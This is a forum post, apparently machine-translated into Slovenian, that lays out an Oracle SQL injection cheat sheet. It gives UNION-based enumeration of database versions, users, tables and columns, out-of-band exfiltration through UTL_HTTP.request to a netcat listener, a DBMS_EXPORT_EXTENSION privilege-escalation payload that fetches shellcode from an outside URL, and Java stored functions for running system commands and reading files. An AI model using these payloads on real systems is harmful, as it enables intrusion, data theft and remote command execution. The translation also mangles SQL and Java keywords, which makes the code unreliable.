Ta objava je bila nazadnje urejena s testom 24. 1. 2015 ob 13:01
Komentar: -- Izvrševanje več stavkov ni podprto, podpirajo pa se federativne poizvedbe Imena baz podatkov, tabel in stolpcev so vsa zapisana z veliko začetnico.
dolžina(polje) ascii(substr(field, N, 1))
in (izberi count(*) iz duala)>0 -- Določi, ali je orakl ali ne
Naročilo n--
in 1=2 unija izbere null, null,.....,null iz dual-- zamenjaj null z N ali 'N'
in 1=2 Union Select Null, (SQL stavek) ,.....,null iz duala -- spremeni v (sql stavek) na 'N'
in (izberite count(*) iz all_objects kjer object_name='UTL_HTTP')>0 -- Ugotovite, ali je UTL_HTTP podprt (izvozni IP je znan)
in UTL_HTTP.request('http://LocalIP:port'|| (SQL stavek)) =1-- Oddaljeno pošiljanje sporočil lokalno, lokalno poslušanje nc -vv -l -p 1234
SQL stavki Izberite pasico iz sys.v_$version, kjer je rownum=1, da poizvedujete po Oracle verziji izberi člana iz v$logfile, kjer rownum=1 Poizvedba po poti do log datoteke (Windows ali Linux) izberite utl_inaddr.get_host_address iz dual za poizvedbo po IP-ju za poslušanje baze podatkov Izberite instance_name iz v$instance za poizvedbo po SID Izberite ime iz v$database Poizvedba po trenutnem imenu baze podatkov Izberite sys_context ('userenv','current_user') iz uporabnikov baze z dvojnimi poizvedbami Izberite * iz session_roles kjer je rownum=1 za poizvedbo po trenutnih uporabniških dovoljenjih Izberi * iz session_roles kjer Rownum=1 [in vloga<>'ime prvega dovoljenja']
izberite table_name iz user_tables kjer je rownum=1 Prvi segment tabele trenutne baze podatkov Select table_name||','|| tablespace_name iz user_tables kjer rownum=1 Prvi segment tabele, baza podatkov (za preverjanje morda ni v$database) izberi table_name iz user_tables kjer je rownum=1 in table_name<>'prvi segment tabele' Drugi segment tabele trenutne baze podatkov
izberite column_name iz user_tab_columns kjer je rownum=1 in table_name='Segment tabele'. Prvo polje, ki ustreza imenu tabele izberite column_name iz user_tab_columns kjer je rownum=1 in table_name='Segment tabele' ter column_name<>'Prvo polje' Drugo polje, ki ustreza imenu tabele
Izberite polje iz segmenta tabele, kjer rowum=1 krši vsebino prve vrstice Izberite polje iz segmenta tabele, kjer je rownum=1, polje <> 'vsebina prve vrstice' pa razkriva vsebino druge vrstice
Medknjižnična povezava Izberite lastnika iz all_tables kjer Rownum=1 poišče ime prve baze podatkov Izberite lastnika iz all_tables kjer je rownum=1 in lastnik<> 'Ime prve baze podatkov' za poizvedbo po imenu druge baze podatkov
izberi table_name iz all_tables kjer je rownum=1 in owner='ime baze podatkov'. Poizvedba po prvi tabeli ustrezne baze podatkov Izberite table_name iz all_tables kjer Rownum=1 in Owner='ime baze' ter table_name<>'ime prve tabele', da poizvedujete po imenu druge tabele ustrezne baze podatkov
Izberite column_name iz all_tab_columns kjer Rownum=1 in Owner='ime baze' ter table_name='segment tabele' Prvo polje, ki ustreza imenu tabele Izberite column_name iz all_tab_columns kjer je rownum=1 in owner='ime baze podatkov' ter table_name='segment tabele' in column_name<>'prvo polje' Drugo polje, ki ustreza imenu tabele
Izberite polje iz baze podatkov. segment tabele, kjer rownum=1 krši vsebino prve vrstice Izberite polje iz baze podatkov. Segment tabele, kjer je rownum=1 in polje <> 'Vsebina prve vrstice', krši vsebino druge vrstice
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); večstavčni KONEC; --','SYS',0,'1',0)--
Če je 'escaped, se uporabi chr().
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Večstavek || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Če je več stavkov predolgih, lahko izjavo zapišete v datoteko na spletni strani in uporabite utl_http.request za pridobitev.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Ustvarite JAVA paket SecTest runCMD se uporablja za izvajanje sistemskih ukazov in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVRŠI TAKOJ," RAZGLAŠA PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE'''', ustvarite ali zamenjajte in prevedite java izvorno kodo z imenom "SecTest" kot uvozni java.io.*; javni razred SecTest razširja Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); vrni moč; }catch(Exception e){return e.toString(); }}}''''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)--
readFile se uporablja za branje datoteke in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVRŠI TAKOJ," RAZGLAŠA PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE'''', ustvarite ali zamenjajte in prevedite java izvorno kodo z imenom "SecTest" kot uvozni java.io.*; javni razred SecTest razširja Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); vrni moč; }catch(Exception e){return e.toString(); }}}''''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)--
Podelitev Java dovoljenj in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVEDITE TAKOJŠNJO ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ZAČNITE IZVAJATI TAKOJŠNJE DATOTEKE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<VSE DATOTEKE>>'''''''',''''''''izvedi''''''''); konec; ''''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)--
Ustvari funkcijo Funkcija SecRunCMD in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVEDITE TAKOJŠNJO ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''ustvari ali zamenjaj funkcijo SecRunCMD(p_cmd in varchar2) vrni varchar2 kot java ime jezika''''''''SecTest.runCMD(java.lang.String) vrni String'''''''' ; ''''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)--
Funkcija SecReadFile in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVEDITE TAKOJŠNJO ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace function SecReadFile(filename in varchar2) vrni varchar2 kot ime jezika Java''''''''SecTest.readFile(java.lang.String) vrni String' '''''''; ''''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)--
Podelitev dovoljenja za izvajanje javne funkcije SecRunCMD dobi dovoljenja in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVEDITE TAKOJŠNJO ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ZAČNITE IZVAJATI TAKOJŠNJE ''''odobri vse na SecRunCMD javnosti'''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)--
SecReadFile in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVEDITE TAKOJŠNJO ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ZAČNITE TAKOJŠNJE IZVAJANJE '''''dodeli vse na SecReadFile javnosti'''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)--
Zazna, ali je bila funkcija uspešno ustvarjena in (izberi count(*) iz all_objects kjer object_name='SECRUNCMD')>0-- in (izberi count(*) iz all_objects kjer object_name='SECREADFILE')>0--
Izvedi ukaz in '1'<> (izberi sys. SecRunCMD('Execute command') iz dual)-- in '1'<> (izberi sys. SecReadFile('fizični naslov datoteke') iz dual)-- ali in 1=2 union select null,...,sys. SecRunCMD('izvrši ukaz'),...,null iz dual-- in 1=2 union select null,...,sys. SecReadFile('fizični naslov datoteke'),...,null iz dual-- ali in '1'<>(izberi UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Execute Command'),' ',' '),'\n',' ')) iz dual)-- in '1'<>(izberi UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('fizični naslov datoteke'),' ',' ',','\n',' ')) iz dual)--
Funkcija brisanja in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVEDITE TAKOJŠNJO ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''drop function SecRunCMD''''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)-- in '1'<>'a'|| (izberite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR', 'DBMS_OUTPUT'". PUT(:P 1); IZVEDITE TAKOJŠNJO ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''drop function SecReadFile'''; KONEC; ''; KONEC; --','SYS',0,'1',0) iz dual)-- |